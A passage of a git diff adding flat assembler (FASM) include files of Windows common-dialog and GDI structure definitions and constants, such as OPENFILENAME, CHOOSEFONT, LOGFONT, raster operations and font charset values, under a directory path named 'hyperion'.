CDN_FIRST - 3 +CDN_HELP = CDN_FIRST - 4 +CDN_FILEOK = CDN_FIRST - 5 +CDN_TYPECHANGE = CDN_FIRST - 6 + +; Common dialog messages + +CDM_FIRST = WM_USER + 100 +CDM_LAST = WM_USER + 200 +CDM_GETSPEC = CDM_FIRST + 0 +CDM_GETFILEPATH = CDM_FIRST + 1 +CDM_GETFOLDERPATH = CDM_FIRST + 2 +CDM_GETFOLDERIDLIST = CDM_FIRST + 3 +CDM_SETCONTROLTEXT = CDM_FIRST + 4 +CDM_HIDECONTROL = CDM_FIRST + 5 +CDM_SETDEFEXT = CDM_FIRST + 6 + +; CHOOSECOLOR flags + +CC_RGBINIT = 001h +CC_FULLOPEN = 002h +CC_PREVENTFULLOPEN = 004h +CC_SHOWHELP = 008h +CC_ENABLEHOOK = 010h +CC_ENABLETEMPLATE = 020h +CC_ENABLETEMPLATEHANDLE = 040h +CC_SOLIDCOLOR = 080h +CC_ANYCOLOR = 100h + +; FINDREPLACE flags + +FR_DOWN = 00001h +FR_WHOLEWORD = 00002h +FR_MATCHCASE = 00004h +FR_FINDNEXT = 00008h +FR_REPLACE = 00010h +FR_REPLACEALL = 00020h +FR_DIALOGTERM = 00040h +FR_SHOWHELP = 00080h +FR_ENABLEHOOK = 00100h +FR_ENABLETEMPLATE = 00200h +FR_NOUPDOWN = 00400h +FR_NOMATCHCASE = 00800h +FR_NOWHOLEWORD = 01000h +FR_ENABLETEMPLATEHANDLE = 02000h +FR_HIDEUPDOWN = 04000h +FR_HIDEMATCHCASE = 08000h +FR_HIDEWHOLEWORD = 10000h + +; CHOOSEFONT flags + +CF_SCREENFONTS = 0000001h +CF_PRINTERFONTS = 0000002h +CF_BOTH = CF_SCREENFONTS or CF_PRINTERFONTS +CF_SHOWHELP = 0000004h +CF_ENABLEHOOK = 0000008h +CF_ENABLETEMPLATE = 0000010h +CF_ENABLETEMPLATEHANDLE = 0000020h +CF_INITTOLOGFONTSTRUCT = 0000040h +CF_USESTYLE = 0000080h +CF_EFFECTS = 0000100h +CF_APPLY = 0000200h +CF_ANSIONLY = 0000400h +CF_SCRIPTSONLY = CF_ANSIONLY +CF_NOVECTORFONTS = 0000800h +CF_NOOEMFONTS = CF_NOVECTORFONTS +CF_NOSIMULATIONS = 0001000h +CF_LIMITSIZE = 0002000h +CF_FIXEDPITCHONLY = 0004000h +CF_WYSIWYG = 0008000h +CF_FORCEFONTEXIST = 0010000h +CF_SCALABLEONLY = 0020000h +CF_TTONLY = 0040000h +CF_NOFACESEL = 0080000h +CF_NOSTYLESEL = 0100000h +CF_NOSIZESEL = 0200000h +CF_SELECTSCRIPT = 0400000h +CF_NOSCRIPTSEL = 0800000h +CF_NOVERTFONTS = 1000000h + +; ChooseFont messages + +WM_CHOOSEFONT_GETLOGFONT = WM_USER + 1 +WM_CHOOSEFONT_SETLOGFONT = WM_USER + 101 +WM_CHOOSEFONT_SETFLAGS = WM_USER + 102 + +; PRINTDLG flags + +PD_ALLPAGES = 000000h +PD_SELECTION = 000001h +PD_PAGENUMS = 000002h +PD_NOSELECTION = 000004h +PD_NOPAGENUMS = 000008h +PD_COLLATE = 000010h +PD_PRINTTOFILE = 000020h +PD_PRINTSETUP = 000040h +PD_NOWARNING = 000080h +PD_RETURNDC = 000100h +PD_RETURNIC = 000200h +PD_RETURNDEFAULT = 000400h +PD_SHOWHELP = 000800h +PD_ENABLEPRINTHOOK = 001000h +PD_ENABLESETUPHOOK = 002000h +PD_ENABLEPRINTTEMPLATE = 004000h +PD_ENABLESETUPTEMPLATE = 008000h +PD_ENABLEPRINTTEMPLATEHANDLE = 010000h +PD_ENABLESETUPTEMPLATEHANDLE = 020000h +PD_USEDEVMODECOPIES = 040000h +PD_USEDEVMODECOPIESANDCOLLATE = 040000h +PD_DISABLEPRINTTOFILE = 080000h +PD_HIDEPRINTTOFILE = 100000h +PD_NONETWORKBUTTON = 200000h + +; PAGESETUPDLG flags + +PSD_DEFAULTMINMARGINS = 000000h +PSD_INWININIINTLMEASURE = 000000h +PSD_MINMARGINS = 000001h +PSD_MARGINS = 000002h +PSD_INTHOUSANDTHSOFINCHES = 000004h +PSD_INHUNDREDTHSOFMILLIMETERS = 000008h +PSD_DISABLEMARGINS = 000010h +PSD_DISABLEPRINTER = 000020h +PSD_NOWARNING = 000080h +PSD_DISABLEORIENTATION = 000100h +PSD_RETURNDEFAULT = 000400h +PSD_DISABLEPAPER = 000200h +PSD_SHOWHELP = 000800h +PSD_ENABLEPAGESETUPHOOK = 002000h +PSD_ENABLEPAGESETUPTEMPLATE = 008000h +PSD_ENABLEPAGESETUPTEMPLATEHANDLE = 020000h +PSD_ENABLEPAGEPAINTHOOK = 040000h +PSD_DISABLEPAGEPAINTING = 080000h +PSD_NONETWORKBUTTON = 200000h + +; PageSetupDlg messages + +WM_PSD_PAGESETUPDLG = WM_USER +WM_PSD_FULLPAGERECT = WM_USER + 1 +WM_PSD_MINMARGINRECT = WM_USER + 2 +WM_PSD_MARGINRECT = WM_USER + 3 +WM_PSD_GREEKTEXTRECT = WM_USER + 4 +WM_PSD_ENVSTAMPRECT = WM_USER + 5 +WM_PSD_YAFULLPAGERECT = WM_USER + 6 + +; Common dialog error codes + +CDERR_DIALOGFAILURE = 0FFFFh +CDERR_GENERALCODES = 00000h +CDERR_STRUCTSIZE = 00001h +CDERR_INITIALIZATION = 00002h +CDERR_NOTEMPLATE = 00003h +CDERR_NOHINSTANCE = 00004h +CDERR_LOADSTRFAILURE = 00005h +CDERR_FINDRESFAILURE = 00006h +CDERR_LOADRESFAILURE = 00007h +CDERR_LOCKRESFAILURE = 00008h +CDERR_MEMALLOCFAILURE = 00009h +CDERR_MEMLOCKFAILURE = 0000Ah +CDERR_NOHOOK = 0000Bh +CDERR_REGISTERMSGFAIL = 0000Ch +PDERR_PRINTERCODES = 01000h +PDERR_SETUPFAILURE = 01001h +PDERR_PARSEFAILURE = 01002h +PDERR_RETDEFFAILURE = 01003h +PDERR_LOADDRVFAILURE = 01004h +PDERR_GETDEVMODEFAIL = 01005h +PDERR_INITFAILURE = 01006h +PDERR_NODEVICES = 01007h +PDERR_NODEFAULTPRN = 01008h +PDERR_DNDMMISMATCH = 01009h +PDERR_CREATEICFAILURE = 0100Ah +PDERR_PRINTERNOTFOUND = 0100Bh +PDERR_DEFAULTDIFFERENT = 0100Ch +CFERR_CHOOSEFONTCODES = 02000h +CFERR_NOFONTS = 02001h +CFERR_MAXLESSTHANMIN = 02002h +FNERR_FILENAMECODES = 03000h +FNERR_SUBCLASSFAILURE = 03001h +FNERR_INVALIDFILENAME = 03002h +FNERR_BUFFERTOOSMALL = 03003h +FRERR_FINDREPLACECODES = 04000h +FRERR_BUFFERLENGTHZERO = 04001h +CCERR_CHOOSECOLORCODES = 05000h diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMDLG64.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMDLG64.INC new file mode 100755 index 0000000..5ae7a49 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMDLG64.INC @@ -0,0 +1,334 @@ + +; COMDLG32.DLL structures and constants + +struct OPENFILENAME + lStructSize dd ?,? + hwndOwner dq ? + hInstance dq ? + lpstrFilter dq ? + lpstrCustomFilter dq ? + nMaxCustFilter dd ? + nFilterIndex dd ? + lpstrFile dq ? + nMaxFile dd ?,? + lpstrFileTitle dq ? + nMaxFileTitle dd ?,? + lpstrInitialDir dq ? + lpstrTitle dq ? + Flags dd ? + nFileOffset dw ? + nFileExtension dw ? + lpstrDefExt dq ? + lCustData dd ?,? + lpfnHook dq ? + lpTemplateName dq ? +ends + +struct CHOOSECOLOR + lStructSize dd ?,? + hwndOwner dq ? + hInstance dq ? + rgbResult dd ?,? + lpCustColors dq ? + Flags dd ? + lCustData dd ?,? + lpfnHook dq ? + lpTemplateName dq ? +ends + +struct FINDREPLACE + lStructSize dd ?,? + hwndOwner dq ? + hInstance dq ? + Flags dd ?,? + lpstrFindWhat dq ? + lpstrReplaceWith dq ? + wFindWhatLen dw ? + wReplaceWithLen dw ? + lCustData dd ? + lpfnHook dq ? + lpTemplateName dq ? +ends + +struct CHOOSEFONT + lStructSize dd ?,? + hwndOwner dq ? + hDC dq ? + lpLogFont dq ? + iPointSize dd ? + Flags dd ? + rgbColors dd ? + lCustData dd ? + lpfnHook dq ? + lpTemplateName dq ? + hInstance dq ? + lpszStyle dq ? + nFontType dw ? + wReserved dw ? + nSizeMin dd ? + nSizeMax dd ? +ends + +struct PRINTDLG + lStructSize dd ?,? + hwndOwner dq ? + hDevMode dq ? + hDevNames dq ? + hDC dq ? + Flags dd ? + nFromPage dw ? + nToPage dw ? + nMinPage dw ? + nMaxPage dw ? + nCopies dw ?,? + hInstance dq ? + lCustData dd ? + lpfnPrintHook dq ? + lpfnSetupHook dq ? + lpPrintTemplateName dq ? + lpSetupTemplateName dq ? + hPrintTemplate dq ? + hSetupTemplate dq ? +ends + +struct DEVNAMES + wDriverOffset dw ? + wDeviceOffset dw ? + wOutputOffset dw ? + wDefault dw ? +ends + +struct PAGESETUPDLG + lStructSize dd ?,? + hwndOwner dq ? + hDevMode dq ? + hDevNames dq ? + Flags dd ? + ptPaperSize POINT + rtMinMargin RECT + rtMargin RECT + dd ? + hInstance dq ? + lCustData dd ?,? + lpfnPageSetupHook dq ? + lpfnPagePaintHook dq ? + lpPageSetupTemplateName dq ? + hPageSetupTemplate dq ? +ends + +; OPENFILENAME flags + +OFN_READONLY = 000001h +OFN_OVERWRITEPROMPT = 000002h +OFN_HIDEREADONLY = 000004h +OFN_NOCHANGEDIR = 000008h +OFN_SHOWHELP = 000010h +OFN_ENABLEHOOK = 000020h +OFN_ENABLETEMPLATE = 000040h +OFN_ENABLETEMPLATEHANDLE = 000080h +OFN_NOVALIDATE = 000100h +OFN_ALLOWMULTISELECT = 000200h +OFN_EXTENSIONDIFFERENT = 000400h +OFN_PATHMUSTEXIST = 000800h +OFN_FILEMUSTEXIST = 001000h +OFN_CREATEPROMPT = 002000h +OFN_SHAREAWARE = 004000h +OFN_NOREADONLYRETURN = 008000h +OFN_NOTESTFILECREATE = 010000h +OFN_NONETWORKBUTTON = 020000h +OFN_NOLONGNAMES = 040000h +OFN_EXPLORER = 080000h +OFN_NODEREFERENCELINKS = 100000h +OFN_LONGNAMES = 200000h + +; Common dialog notifications + +CDN_FIRST = -601 +CDN_LAST = -699 +CDN_INITDONE = CDN_FIRST - 0 +CDN_SELCHANGE = CDN_FIRST - 1 +CDN_FOLDERCHANGE = CDN_FIRST - 2 +CDN_SHAREVIOLATION = CDN_FIRST - 3 +CDN_HELP = CDN_FIRST - 4 +CDN_FILEOK = CDN_FIRST - 5 +CDN_TYPECHANGE = CDN_FIRST - 6 + +; Common dialog messages + +CDM_FIRST = WM_USER + 100 +CDM_LAST = WM_USER + 200 +CDM_GETSPEC = CDM_FIRST + 0 +CDM_GETFILEPATH = CDM_FIRST + 1 +CDM_GETFOLDERPATH = CDM_FIRST + 2 +CDM_GETFOLDERIDLIST = CDM_FIRST + 3 +CDM_SETCONTROLTEXT = CDM_FIRST + 4 +CDM_HIDECONTROL = CDM_FIRST + 5 +CDM_SETDEFEXT = CDM_FIRST + 6 + +; CHOOSECOLOR flags + +CC_RGBINIT = 001h +CC_FULLOPEN = 002h +CC_PREVENTFULLOPEN = 004h +CC_SHOWHELP = 008h +CC_ENABLEHOOK = 010h +CC_ENABLETEMPLATE = 020h +CC_ENABLETEMPLATEHANDLE = 040h +CC_SOLIDCOLOR = 080h +CC_ANYCOLOR = 100h + +; FINDREPLACE flags + +FR_DOWN = 00001h +FR_WHOLEWORD = 00002h +FR_MATCHCASE = 00004h +FR_FINDNEXT = 00008h +FR_REPLACE = 00010h +FR_REPLACEALL = 00020h +FR_DIALOGTERM = 00040h +FR_SHOWHELP = 00080h +FR_ENABLEHOOK = 00100h +FR_ENABLETEMPLATE = 00200h +FR_NOUPDOWN = 00400h +FR_NOMATCHCASE = 00800h +FR_NOWHOLEWORD = 01000h +FR_ENABLETEMPLATEHANDLE = 02000h +FR_HIDEUPDOWN = 04000h +FR_HIDEMATCHCASE = 08000h +FR_HIDEWHOLEWORD = 10000h + +; CHOOSEFONT flags + +CF_SCREENFONTS = 0000001h +CF_PRINTERFONTS = 0000002h +CF_BOTH = CF_SCREENFONTS or CF_PRINTERFONTS +CF_SHOWHELP = 0000004h +CF_ENABLEHOOK = 0000008h +CF_ENABLETEMPLATE = 0000010h +CF_ENABLETEMPLATEHANDLE = 0000020h +CF_INITTOLOGFONTSTRUCT = 0000040h +CF_USESTYLE = 0000080h +CF_EFFECTS = 0000100h +CF_APPLY = 0000200h +CF_ANSIONLY = 0000400h +CF_SCRIPTSONLY = CF_ANSIONLY +CF_NOVECTORFONTS = 0000800h +CF_NOOEMFONTS = CF_NOVECTORFONTS +CF_NOSIMULATIONS = 0001000h +CF_LIMITSIZE = 0002000h +CF_FIXEDPITCHONLY = 0004000h +CF_WYSIWYG = 0008000h +CF_FORCEFONTEXIST = 0010000h +CF_SCALABLEONLY = 0020000h +CF_TTONLY = 0040000h +CF_NOFACESEL = 0080000h +CF_NOSTYLESEL = 0100000h +CF_NOSIZESEL = 0200000h +CF_SELECTSCRIPT = 0400000h +CF_NOSCRIPTSEL = 0800000h +CF_NOVERTFONTS = 1000000h + +; ChooseFont messages + +WM_CHOOSEFONT_GETLOGFONT = WM_USER + 1 +WM_CHOOSEFONT_SETLOGFONT = WM_USER + 101 +WM_CHOOSEFONT_SETFLAGS = WM_USER + 102 + +; PRINTDLG flags + +PD_ALLPAGES = 000000h +PD_SELECTION = 000001h +PD_PAGENUMS = 000002h +PD_NOSELECTION = 000004h +PD_NOPAGENUMS = 000008h +PD_COLLATE = 000010h +PD_PRINTTOFILE = 000020h +PD_PRINTSETUP = 000040h +PD_NOWARNING = 000080h +PD_RETURNDC = 000100h +PD_RETURNIC = 000200h +PD_RETURNDEFAULT = 000400h +PD_SHOWHELP = 000800h +PD_ENABLEPRINTHOOK = 001000h +PD_ENABLESETUPHOOK = 002000h +PD_ENABLEPRINTTEMPLATE = 004000h +PD_ENABLESETUPTEMPLATE = 008000h +PD_ENABLEPRINTTEMPLATEHANDLE = 010000h +PD_ENABLESETUPTEMPLATEHANDLE = 020000h +PD_USEDEVMODECOPIES = 040000h +PD_USEDEVMODECOPIESANDCOLLATE = 040000h +PD_DISABLEPRINTTOFILE = 080000h +PD_HIDEPRINTTOFILE = 100000h +PD_NONETWORKBUTTON = 200000h + +; PAGESETUPDLG flags + +PSD_DEFAULTMINMARGINS = 000000h +PSD_INWININIINTLMEASURE = 000000h +PSD_MINMARGINS = 000001h +PSD_MARGINS = 000002h +PSD_INTHOUSANDTHSOFINCHES = 000004h +PSD_INHUNDREDTHSOFMILLIMETERS = 000008h +PSD_DISABLEMARGINS = 000010h +PSD_DISABLEPRINTER = 000020h +PSD_NOWARNING = 000080h +PSD_DISABLEORIENTATION = 000100h +PSD_RETURNDEFAULT = 000400h +PSD_DISABLEPAPER = 000200h +PSD_SHOWHELP = 000800h +PSD_ENABLEPAGESETUPHOOK = 002000h +PSD_ENABLEPAGESETUPTEMPLATE = 008000h +PSD_ENABLEPAGESETUPTEMPLATEHANDLE = 020000h +PSD_ENABLEPAGEPAINTHOOK = 040000h +PSD_DISABLEPAGEPAINTING = 080000h +PSD_NONETWORKBUTTON = 200000h + +; PageSetupDlg messages + +WM_PSD_PAGESETUPDLG = WM_USER +WM_PSD_FULLPAGERECT = WM_USER + 1 +WM_PSD_MINMARGINRECT = WM_USER + 2 +WM_PSD_MARGINRECT = WM_USER + 3 +WM_PSD_GREEKTEXTRECT = WM_USER + 4 +WM_PSD_ENVSTAMPRECT = WM_USER + 5 +WM_PSD_YAFULLPAGERECT = WM_USER + 6 + +; Common dialog error codes + +CDERR_DIALOGFAILURE = 0FFFFh +CDERR_GENERALCODES = 00000h +CDERR_STRUCTSIZE = 00001h +CDERR_INITIALIZATION = 00002h +CDERR_NOTEMPLATE = 00003h +CDERR_NOHINSTANCE = 00004h +CDERR_LOADSTRFAILURE = 00005h +CDERR_FINDRESFAILURE = 00006h +CDERR_LOADRESFAILURE = 00007h +CDERR_LOCKRESFAILURE = 00008h +CDERR_MEMALLOCFAILURE = 00009h +CDERR_MEMLOCKFAILURE = 0000Ah +CDERR_NOHOOK = 0000Bh +CDERR_REGISTERMSGFAIL = 0000Ch +PDERR_PRINTERCODES = 01000h +PDERR_SETUPFAILURE = 01001h +PDERR_PARSEFAILURE = 01002h +PDERR_RETDEFFAILURE = 01003h +PDERR_LOADDRVFAILURE = 01004h +PDERR_GETDEVMODEFAIL = 01005h +PDERR_INITFAILURE = 01006h +PDERR_NODEVICES = 01007h +PDERR_NODEFAULTPRN = 01008h +PDERR_DNDMMISMATCH = 01009h +PDERR_CREATEICFAILURE = 0100Ah +PDERR_PRINTERNOTFOUND = 0100Bh +PDERR_DEFAULTDIFFERENT = 0100Ch +CFERR_CHOOSEFONTCODES = 02000h +CFERR_NOFONTS = 02001h +CFERR_MAXLESSTHANMIN = 02002h +FNERR_FILENAMECODES = 03000h +FNERR_SUBCLASSFAILURE = 03001h +FNERR_INVALIDFILENAME = 03002h +FNERR_BUFFERTOOSMALL = 03003h +FRERR_FINDREPLACECODES = 04000h +FRERR_BUFFERLENGTHZERO = 04001h +CCERR_CHOOSECOLORCODES = 05000h diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/GDI32.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/GDI32.INC new file mode 100755 index 0000000..407f8ef --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/GDI32.INC @@ -0,0 +1,480 @@ + +; GDI32.DLL structures and constants + +struct SIZE + cx dd ? + cy dd ? +ends + +struct BITMAP + bmType dd ? + bmWidth dd ? + bmHeight dd ? + bmWidthBytes dd ? + bmPlanes dw ? + bmBitsPixel dw ? + bmBits dd ? +ends + +struct BITMAPCOREHEADER + bcSize dd ? + bcWidth dw ? + bcHeight dw ? + bcPlanes dw ? + bcBitCount dw ? +ends + +struct BITMAPINFOHEADER + biSize dd ? + biWidth dd ? + biHeight dd ? + biPlanes dw ? + biBitCount dw ? + biCompression dd ? + biSizeImage dd ? + biXPelsPerMeter dd ? + biYPelsPerMeter dd ? + biClrUsed dd ? + biClrImportant dd ? +ends + +struct BITMAPFILEHEADER + bfType dw ? + bfSize dd ? + bfReserved1 dw ? + bfReserved2 dw ? + bfOffBits dd ? +ends + +struct TEXTMETRIC + tmHeight dd ? + tmAscent dd ? + tmDescent dd ? + tmInternalLeading dd ? + tmExternalLeading dd ? + tmAveCharWidth dd ? + tmMaxCharWidth dd ? + tmWeight dd ? + tmOverhang dd ? + tmDigitizedAspectX dd ? + tmDigitizedAspectY dd ? + tmFirstChar TCHAR ? + tmLastChar TCHAR ? + tmDefaultChar TCHAR ? + tmBreakChar TCHAR ? + tmItalic db ? + tmUnderlined db ? + tmStruckOut db ? + tmPitchAndFamily db ? + tmCharSet db ? +ends + +struct LOGBRUSH + lbStyle dd ? + lbColor dd ? + lbHatch dd ? +ends + +struct LOGPEN + lopnStyle dd ? + lopnWidth POINT + lopnColor dd ? +ends + +struct EXTLOGPEN + elpPenStyle dd ? + elpWidth dd ? + elpBrushStyle dd ? + elpColor dd ? + elpHatch dd ? + elpNumEntries dd ? + elpStyleEntry dd ? +ends + +struct LOGFONT + lfHeight dd ? + lfWidth dd ? + lfEscapement dd ? + lfOrientation dd ? + lfWeight dd ? + lfItalic db ? + lfUnderline db ? + lfStrikeOut db ? + lfCharSet db ? + lfOutPrecision db ? + lfClipPrecision db ? + lfQuality db ? + lfPitchAndFamily db ? + lfFaceName TCHAR 32 dup (?) +ends + +struct ENUMLOGFONT + elfLogFont LOGFONT + elfFullName TCHAR 64 dup (?) + elfStyle TCHAR 32 dup (?) +ends + +struct ENUMLOGFONTEX + elfLogFont LOGFONT + elfFullName TCHAR 64 dup (?) + elfStyle TCHAR 32 dup (?) + elfScript TCHAR 32 dup (?) +ends + +struct PIXELFORMATDESCRIPTOR + nSize dw ? + nVersion dw ? + dwFlags dd ? + iPixelType db ? + cColorBits db ? + cRedBits db ? + cRedShift db ? + cGreenBits db ? + cGreenShift db ? + cBlueBits db ? + cBlueShift db ? + cAlphaBits db ? + cAlphaShift db ? + cAccumBits db ? + cAccumRedBits db ? + cAccumGreenBits db ? + cAccumBlueBits db ? + cAccumAlphaBits db ? + cDepthBits db ? + cStencilBits db ? + cAuxBuffers db ? + iLayerType db ? + bReserved db ? + dwLayerMask dd ? + dwVisibleMask dd ? + dwDamageMask dd ? +ends + +struct TRIVERTEX + x dd ? + y dd ? + Red dw ? + Green dw ? + Blue dw ? + Alpha dw ? +ends + +; General constants + +GDI_ERROR = 0FFFFFFFFh +HGDI_ERROR = 0FFFFFFFFh + +; Binary raster operations + +R2_BLACK = 1 +R2_NOTMERGEPEN = 2 +R2_MASKNOTPEN = 3 +R2_NOTCOPYPEN = 4 +R2_MASKPENNOT = 5 +R2_NOT = 6 +R2_XORPEN = 7 +R2_NOTMASKPEN = 8 +R2_MASKPEN = 9 +R2_NOTXORPEN = 10 +R2_NOP = 11 +R2_MERGENOTPEN = 12 +R2_COPYPEN = 13 +R2_MERGEPENNOT = 14 +R2_MERGEPEN = 15 +R2_WHITE = 16 + +; Raster operations + +SRCCOPY = 00CC0020h +SRCPAINT = 00EE0086h +SRCAND = 008800C6h +SRCINVERT = 00660046h +SRCERASE = 00440328h +NOTSRCCOPY = 00330008h +NOTSRCERASE = 001100A6h +MERGECOPY = 00C000CAh +MERGEPAINT = 00BB0226h +PATCOPY = 00F00021h +PATPAINT = 00FB0A09h +PATINVERT = 005A0049h +DSTINVERT = 00550009h +BLACKNESS = 00000042h +WHITENESS = 00FF0062h + +; Region flags + +ERROR = 0 +NULLREGION = 1 +SIMPLEREGION = 2 +COMPLEXREGION = 3 + +; CombineRgn styles + +RGN_AND = 1 +RGN_OR = 2 +RGN_XOR = 3 +RGN_DIFF = 4 +RGN_COPY = 5 + +; StretchBlt modes + +BLACKONWHITE = 1 +WHITEONBLACK = 2 +COLORONCOLOR = 3 +HALFTONE = 4 +STRETCH_ANDSCANS = BLACKONWHITE +STRETCH_ORSCANS = WHITEONBLACK +STRETCH_DELETESCANS = COLORONCOLOR +STRETCH_HALFTONE = HALFTONE + +; PolyFill modes + +ALTERNATE = 1 +WINDING = 2 + +; Background modes + +TRANSPARENT = 1 +OPAQUE = 2 + +; Point types + +PT_CLOSEFIGURE = 1 +PT_LINETO = 2 +PT_BEZIERTO = 4 +PT_MOVETO = 6 + +; Mapping modes + +MM_TEXT = 1 +MM_LOMETRIC = 2 +MM_HIMETRIC = 3 +MM_LOENGLISH = 4 +MM_HIENGLISH = 5 +MM_TWIPS = 6 +MM_ISOTROPIC = 7 +MM_ANISOTROPIC = 8 + +; Coordinate modes + +ABSOLUTE = 1 +RELATIVE = 2 + +; Stock logical objects + +WHITE_BRUSH = 0 +LTGRAY_BRUSH = 1 +GRAY_BRUSH = 2 +DKGRAY_BRUSH = 3 +BLACK_BRUSH = 4 +NULL_BRUSH = 5 +HOLLOW_BRUSH = NULL_BRUSH +WHITE_PEN = 6 +BLACK_PEN = 7 +NULL_PEN = 8 +OEM_FIXED_FONT = 10 +ANSI_FIXED_FONT = 11 +ANSI_VAR_FONT = 12 +SYSTEM_FONT = 13 +DEVICE_DEFAULT_FONT = 14 +DEFAULT_PALETTE = 15 +SYSTEM_FIXED_FONT = 16 +DEFAULT_GUI_FONT = 17 + +; Brush styles + +BS_SOLID = 0 +BS_NULL = 1 +BS_HOLLOW = BS_NULL +BS_HATCHED = 2 +BS_PATTERN = 3 +BS_INDEXED = 4 +BS_DIBPATTERN = 5 +BS_DIBPATTERNPT = 6 +BS_PATTERN8X8 = 7 +BS_DIBPATTERN8X8 = 8 +BS_MONOPATTERN = 9 + +; Hatch styles + +HS_HORIZONTAL = 0 +HS_VERTICAL = 1 +HS_FDIAGONAL = 2 +HS_BDIAGONAL = 3 +HS_CROSS = 4 +HS_DIAGCROSS = 5 + +; Pen styles + +PS_SOLID = 0 +PS_DASH = 1 +PS_DOT = 2 +PS_DASHDOT = 3 +PS_DASHDOTDOT = 4 +PS_NULL = 5 +PS_INSIDEFRAME = 6 +PS_USERSTYLE = 7 +PS_ALTERNATE = 8 +PS_ENDCAP_ROUND = 0 +PS_ENDCAP_SQUARE = 100h +PS_ENDCAP_FLAT = 200h +PS_JOIN_ROUND = 0 +PS_JOIN_BEVEL = 1000h +PS_JOIN_MITER = 2000h +PS_COSMETIC = 0 +PS_GEOMETRIC = 010000h + +; Arc directions + +AD_COUNTERCLOCKWISE = 1 +AD_CLOCKWISE = 2 + +; Text alignment options + +TA_NOUPDATECP = 0 +TA_UPDATECP = 1 +TA_LEFT = 0 +TA_RIGHT = 2 +TA_CENTER = 6 +TA_TOP = 0 +TA_BOTTOM = 8 +TA_BASELINE = 24 +TA_RTLREADING = 100h +VTA_BASELINE = TA_BASELINE +VTA_LEFT = TA_BOTTOM +VTA_RIGHT = TA_TOP +VTA_CENTER = TA_CENTER +VTA_BOTTOM = TA_RIGHT +VTA_TOP = TA_LEFT + +; ExtTextOut options + +ETO_OPAQUE = 0002h +ETO_CLIPPED = 0004h +ETO_GLYPH_INDEX = 0010h +ETO_RTLREADING = 0080h +ETO_IGNORELANGUAGE = 1000h + +; Bitmap compression types + +BI_RGB = 0 +BI_RLE8 = 1 +BI_RLE4 = 2 +BI_BITFIELDS = 3 + +; tmPitchAndFamily flags + +TMPF_FIXED_PITCH = 1 +TMPF_VECTOR = 2 +TMPF_TRUETYPE = 4 +TMPF_DEVICE = 8 + +; Font output precision values + +OUT_DEFAULT_PRECIS = 0 +OUT_STRING_PRECIS = 1 +OUT_CHARACTER_PRECIS = 2 +OUT_STROKE_PRECIS = 3 +OUT_TT_PRECIS = 4 +OUT_DEVICE_PRECIS = 5 +OUT_RASTER_PRECIS = 6 +OUT_TT_ONLY_PRECIS = 7 +OUT_OUTLINE_PRECIS = 8 +OUT_SCREEN_OUTLINE_PRECIS = 9 + +; Font clipping precision values + +CLIP_DEFAULT_PRECIS = 0 +CLIP_CHARACTER_PRECIS = 1 +CLIP_STROKE_PRECIS = 2 +CLIP_LH_ANGLES = 10h +CLIP_TT_ALWAYS = 20h +CLIP_EMBEDDED = 80h + +; Font output quality values + +DEFAULT_QUALITY = 0 +DRAFT_QUALITY = 1 +PROOF_QUALITY = 2 +NONANTIALIASED_QUALITY = 3 +ANTIALIASED_QUALITY = 4 + +; Font pitch values + +DEFAULT_PITCH = 0 +FIXED_PITCH = 1 +VARIABLE_PITCH = 2 +MONO_FONT = 8 + +; Font families + +FF_DONTCARE = 00h +FF_ROMAN = 10h +FF_SWISS = 20h +FF_MODERN = 30h +FF_SCRIPT = 40h +FF_DECORATIVE = 50h + +; Font weights + +FW_DONTCARE = 0 +FW_THIN = 100 +FW_EXTRALIGHT = 200 +FW_LIGHT = 300 +FW_NORMAL = 400 +FW_MEDIUM = 500 +FW_SEMIBOLD = 600 +FW_BOLD = 700 +FW_EXTRABOLD = 800 +FW_HEAVY = 900 +FW_ULTRALIGHT = FW_EXTRALIGHT +FW_REGULAR = FW_NORMAL +FW_DEMIBOLD = FW_SEMIBOLD +FW_ULTRABOLD = FW_EXTRABOLD +FW_BLACK = FW_HEAVY + +; Character set values + +ANSI_CHARSET = 0 +DEFAULT_CHARSET = 1 +SYMBOL_CHARSET = 2 +SHIFTJIS_CHARSET = 128 +HANGEUL_CHARSET = 129 +GB2312_CHARSET = 134 +CHINESEBIG5_CHARSET = 136 +OEM_CHARSET = 255 +JOHAB_CHARSET = 130 +HEBREW_CHARSET = 177 +ARABIC_CHARSET = 178 +GREEK_CHARSET = 161 +TURKISH_CHARSET = 162 +VIETNAMESE_CHARSET = 163 +THAI_CHARSET = 222 +EASTEUROPE_CHARSET = 238 +RUSSIAN_CHARSET = 204 +MAC_CHARSET = 77 +BALTIC_CHARSET = 186 + +; Pixel format constants + +PFD_TYPE_RGBA = 0 +PFD_TYPE_COLORINDEX = 1 +PFD_MAIN_PLANE = 0 +PFD_OVERLAY_PLANE = 1 +PFD_UNDERLAY_PLANE = -1 +PFD_DOUBLEBUFFER = 1 +PFD_STEREO = 2 +PFD_DRAW_TO_WINDOW = 4 +PFD_DRAW_TO_BITMAP = 8 +PFD_SUPPORT_GDI = 10h +PFD_SUPPORT_OPENGL = 20h +PFD_GENERIC_FORMAT = 40h +PFD_NEED_PALETTE = 80h +PFD_NEED_SYSTEM_PALETTE = 100h +PFD_SWAP_EXCHANGE = 200h +PFD_SWAP_COPY = 400h +PFD_SWAP_LAYER_BUFFERS = 800h +PFD_GENERIC_ACCELERATED = 1000h +PFD_DEPTH_DONTCARE = 20000000h +PFD_DOUBLEBUFFER_DONTCARE = 40000000h +PFD_STEREO_DONTCARE = 80000000h diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/GDI64.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/GDI64.INC new file mode 100755 index 0000000..f311353 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/GDI64.INC @@ -0,0 +1,480 @@ + +; GDI32.DLL structures and constants + +struct SIZE + cx dd ? + cy dd ? +ends + +struct BITMAP + bmType dd ? + bmWidth dd ? + bmHeight dd ? + bmWidthBytes dd ? + bmPlanes dw ? + bmBitsPixel dw ?,?,? + bmBits dq ? +ends + +struct BITMAPCOREHEADER + bcSize dd ? + bcWidth dw ? + bcHeight dw ? + bcPlanes dw ? + bcBitCount dw ? +ends + +struct BITMAPINFOHEADER + biSize 